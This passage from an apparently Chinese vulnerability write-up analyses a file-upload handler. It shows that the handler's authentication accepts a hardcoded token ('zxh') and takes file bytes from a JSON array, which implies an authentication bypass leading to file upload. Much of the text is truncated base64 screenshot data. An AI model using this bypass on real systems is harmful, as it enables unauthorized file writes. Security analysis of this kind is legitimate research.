<p blockindex=17><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA0gAAAC7CAIAAADQaymmAAAgAElEQVR4nO3dv48ex3nA8aGjGLbVhI1jEcTJsmFEBJKDgADBsUjhtzDuHyBYWUTUHMBCViWkkiBWAStZxQFsFBwMV/wHrnpdpCARIIDgBIgCwnZEHqTYjdKcLchwlGLk8dwzz8w+uzv7Y977fkAQ+847OzO773u3z83s7FzZ29tzkf39/Z///OeuqvODG88//s+KBd78p79+9I//YUk0lhC/DNvpRiGncy7NPKAxtWovlzksMbwM1YWXXvnAfTmWz65Qu0Xn+Sw3NddONb1wUOPb2fm5T/FpWnbv+7MWttVTWjgt5caP2Sv3+Yrtzk9hgJV87mr7y7WPOWoAs3lu6QasnXoBSLNV/33nf40aS57zt216zeh1tZvh8qAWHp9P9RNU81vaaSnNrtfnXqU6F31wE1Uah9QD1D3DOfGZT2PfOWufoToVcRuwG2RgV727zjlXt7tuTvPEcKgrd32q/sHV6sJZj0mPYnDJs51YtdN9Bz5WAJfKV5ZuQG/jx2Ht/N/uuT/ZJ/1T3h+RsXtpHrVaYj+oih9rqNFepmjnPENRs33uY8oXzZvtK1qoKG7S4JHxtKjO2msd+wp/3lNLfe4Aerki7rFbv/GBXfwbPJeY/paP+2bKOV3mT397k9JBw1ztyyaK3+yFg+08wPBu31uyLNXFieUScu1MG3CZP/dCYvkA0/T43dzXyVJRnDM3kJoW2JnYeQiWG9dy7XRr+tzV9g/+3AEsSAZ2K588MWd3HQAAQFsaG4qd594pAACAFjUW2AEAACCnvXvsgJxvPP/1ve9cW7oVlT395ce/Pf/d0q0AALThuZdffnnpNgB17H33hW/93e9/8+nZ0g2p5ptXr+/9697TX3yydEMAAG3gAcXYKb/59Ozpr58s3Yq6Xlq6AQCAZnwZ2H344Yd+Y+WzYoGSP//9tRc//+yzz5ZuRzWff/75x0+ffvjhL0LKdrvdbDYLNgmq7XbrN/ynI14C4HfXbHa2x+7grVPn3ON7h2p67q00sdMrD9+LX35w6/W+JYwxUe2h2F4F+p/b3Jm3Uz8j4y+Ff/7ssbvqnHPf//Tqz65+6hO//+lVNXNnBiNfTlxjEJf8s6ufipd9a6/+m3HYd74KH/qcnZ29+uqr89Q4/ptZFn80IrzrtNpAsOI3RD0b8fH6DGlKmrNc/tnZ2fXr1+07TmfBn6+cws9d+gHVPXWbzYbYbh47Oys29+P0+N5h4a0BFfnQ54Nbr/t/ItJKdWaYtHZ7sWpIVyg//MSO/0Wmfkb+l0Lnvv/wtQP3x1Ap/l/1/U+vjgzpQjnxhi82LVmk1KpdCGGxRfWrzna7NUYz8/9+73uwvc7kGHFAY48FB1vqGxI+8c1mo376aXouZ7l8UdeQtlZiPHvTfdPSn8fyCbl//75z7uxsd25TvpxYKxYVzPN3WHN/8NWN29o6dgxwqT7fS3WwTfCfyJtvvukm+3Sa+x3eqMaGYsVfNv7voXiERYy2FAZe1WJFtri6cgnq2KVIDC/9RpxY2C5s9KpdJKZFpcWqB5hmU39Q1VNqT8wZ9ntBjJB2xlvqIGk5US0k5Ow16mrPLL6f4aX6UxAyxD8pndnUitTGxB0DvcbU1LfSRJ9y//59f+FJyzESBx6/TDtOCqeiSleW/aS5Qce7qm9ITBxsryHX8i6PHj26efPm4aFsQ+4bFRs8Cpwynr3cJ5Lq29ryVyvOUD66kC3+0VNVPHsYqbGhWP+990N16u8X8YMhchaKzd1yVxi6jYUh0ZDyysP3xAhpGN+MBzrjXdLtUEiaIkK0ztpFYrl29QDTxrt8N1J65uPzWU4sM47JxsQIaSEac38MyETOzkRRQhpKGnvv1IpU6fczbIsvbbiEqJlz2dLPyBUvPPGomRhBC9cV9YKajpqp+dPuhGGjlupvD/F/7kwO+LqW2U/aAGv7hohDi/U9zPI3ypjfb/vBR/9/KKdv+Snj2ct9Iqn0e1JubeGr5Zzz9yBaji7seHp6qhZobA/mJHvsmBWrMsZ2PnIKKePveEuDrVz4Zak9DTHHm79rfZGefB+WlSOtYZlTxh3Ta0NnfmOxlmwVqd0JLn89qP7p+zMZ/i9nnu3GO/+TlTs5Fqv9hgz420xlL2RYhDFFRDLFz9ewo7N/qfzndXh42GuUlnhuQY0NxbZl5hmyltrjbr9aFc0Z2y14f0YYWu0V3g0Q7/jtF0o54z6AYXVZqF3jtcSzF4V1juDMGfiGC/bgr/1qvyFVPtxcIWrgGELkvuFgEwYc3dQaOnu7p7Gh2E4T/T1tLDY3L9WYOLKHr7P2+K67kbWLzPP8QllDVDdzpfFLcZLLN4e5ej8LYoTOqO/02FxmSzn2unLK3XWTnt4c0V0Xj3MZD3bl35BajN8QNzTUiMsf/00rG/aJWI5uZMs3m82wSRWiXmZOzOPKD37wAxc9oHj9cnfppremqjkL0y8KmQu/s9QZEmK2hOgey81+SGdIpCWn79prT8u01J7LnJ6K8ENb/ow6E9WPw/Ib4eW/+e61v//df3/yX+n8gzhIUhPV9MI8iXLvXXrXXee+au3ffuGvPv6Xr3/4718+oDg+CYXb1XNTiHKJ7uLPi9h2th+EQL0pu3Bztzofwpg/ftdywSifNPVGW2f4DucaYGlV7o7DwsyJKgfrZv+GFG6oz80MKMwYKE8XCH8F5c5n4L9O6Zcw19oBJ991nT2nfdNS5a+EyJweuPHnSC3faeGjsT0Dzh5GajKwW+pPQ6xcCOzStxbpchtPBHZuid+M8U/cOn/6qpyTkYeWu3xW/7BWeGlc/zeklmVP/ph+xylq79ueFX51d1VjgV3dZw1gx+QCu1orTMwvDewWscM/dzt8aHPiNE6t0Je2SL1LtQcWXwZ2wVe/+tXPP/+8bh3/9hdX/vZ/v6hbJpDa++4LX/ner57++snSDalm7y+/939PXnr6i0+WbggAoA3MisVO+ebV7CzLFn3z6vX/WboNAICGXNnb24tf8xw7tOsbz3997zvXlm5FZU9/+fFvz3+3dCsAAG2QgV1Djo6OnHMPHjxYuiEAAACr0PBz7G7fvr2ehzECAAAsruHAzjn35Mnu3CYPAAAwkgzs9vf3q9dxfnCjepkAAAAQWu2xOzk58ffYAQAAwGs1sLtz5w7TJgAAAGIysKv+rBPnHM86AQAAmEGrPXYAAAAQGg7snj17dnJysnQrAAAA1oKVJwAAAHZEwz12AAAAiBHYAQAA7IhW14o9v3bw/MePl24FAADAitBjBwAAsCNaDexW21233W6XbgKqCZ9m0x9r040HAPTCrNg/OXjr9PG9wzTROZemq7bb7Waz6bvXSB+99jR++eL7HWPrH732tDNPrpYBO1apPW6D9+L7eyOb1Ll7+DTVl4vz3zF38WumJrr1NR4AMJFWe+ymoEZ1j+8dPr53GK6Xg4uazovv7/noJGxU0TdeNErLERUV2uMPMJQwskkVz9Ui/DfTkggAuDxaDezOrx3MWZ3lYtlEp4gPj4yx1HqIfr4ZYrL009xsNu2OaTbdeACA3XPi9eVcKzYdwAopYwZV7YNlcY9g2oZhtYuBy0Ie/27YDjuqg5VpYsgfEkVRcflpNrUZoiWWIy03yeVPiJp5mOPjY5Fy9+5dNVHdPXzZ4m9dbhsAgJQM7C6n+KopUsZcROMQLS0wlyjeHdaMuIurEB7FwVMah6nDpuJdUVEYFP7otadqN1saXaXZRDnlCM/YpMIJiWscSY3YcmFcyod04osR3wkw4K4AAMCl0mpgt9pZsWVpBOku9tDkuvH6iqM0tcttcLETZRY7hniusxA1Q/kY0xNSa2x3ZI+dR4ccAGAwGdhd5lmx84j7Y0Ki2kE48gJf6L5yVaOZFbIfWt3bDUf22AEAMFKrkydWyHJ/euGJKi4/0BYSj4+P0+4f1eA71ezp1aVPM4knwMbv2puk5hQVqaco/TTXMDlmcCfuGhoPAJhBq8+xq7ukWDo26jITGsriy2du99w4bCFnSPRRnegBUp9Lot7KFl6K6QLqXIc43bJ7umMh0V3sVMvN0sgNIg9okmV3Ud38z7FTQ3wxbUJsBLlR/tkaDwBYA9aKrYwraC1rGCwOn2bTH2vTjQcA9EJgh3Wp+PARAAAum1YDOwAAAAhy8sT+/n71Os4PblQvEwAAAAKzYgEAAHZEq4HdRGvFHh0dHR0dTVEyAADA1GRgdznXig1u377NWukAAKBRrfbYTefJkydLNwEAAGCIVgM7nnUCAAAgMCv2T05OTrjBDgAAtKvVHrsp3Llz58GDB0u3AgAAYKBWA7uJZsUCAAC0i1mxAAAAO6LVHruJPHv27OTkZOlWAAAADMFasQAAADuCWbEAAAA7gqFYAACAHdFqYDfFrNjPXvpD9TIBAABmw6xYAMs4ffso3Y4TO/cakyfN33cvY6Vpuv1gAaCv55ZuwIp87Vd/tnQTgCG22+1ms/Hbp28fHb7zwP8/czM6w5S4SaGFcVNzze57OMPOgLpX4aBEzjGnPa4lPUtxsfFnDQCpVgM71opdg1cevhe//ODW6ztQeyi2V4H+cnvw1qlz7vG9w8G1+xJEIeVrea0rvY8txoSD6b6FQM0lMVMhKrLETIWOMdE8NVaLe9HiinKVqoVYzp449lBdCHPLu282G2I7AAUysNvf368+Gnt+cIPR2LKDt07HRANL+eDW6688fC8EQPG2qjPDpLXbi3VJ1FguP1xoH987DJHZMP5rIAqxX8tz3XWWniS/Y/8mD6E2Jtdvlw5c5vq3Cl2AuV3UGkdSQ8xQfvwBletdsPMVQLta7bGbwmcv/YHRWPQ1T/dJLrYTiXHfz+I6o5awffjOg0JYqQ7gqoWkGUJgVBhgLZTfeRRpgWpdaijZmZL7NOm0A1DQamB3fu1g5aOxYVRLine truncated
|
||||
<p blockindex=18>在这个方法中接受四个参数,分别为token,fs,FileName,pathType。</p>
|
||||
<p blockindex=19>首先会经过<code>base.IsAuthorityCheck()</code>进行鉴权</p>
|
||||
<p blockindex=20><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=21>这里的<code>byValue</code>通过参数<code>token</code>获得,并且这里判断的内容直接被硬编码,所以直接<code>token=zxh</code>即可<code>return new UserInfo();</code></p>
|
||||
<p blockindex=22>接着返回UploadFile方法看fs</p>
|
||||
<pre blockindex=23><code class="hljs language-php">fs = JsonConvert.DeserializeObject<byte[]>(base.getByValue(<span class=hljs-string>"fs"</span>));
|
||||
</code></pre>
|
||||
<p blockindex=24><code>JsonConvert.DeserializeObject<byte[]></code> 是使用 Json.NET 库(Newtonsoft.Json)中的 <code>JsonConvert</code> 类来将 JSON 字符串反序列化为 <code>byte[]</code> 数组的过程。所以这里只需要传入一个数组就可以了</p>
|
||||
<p blockindex=25><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=26>因在在最后的<code>SingleBase<fileServices>.Instance.UploadFile(fs, FileName, pathType)</code>中</p>
|
||||
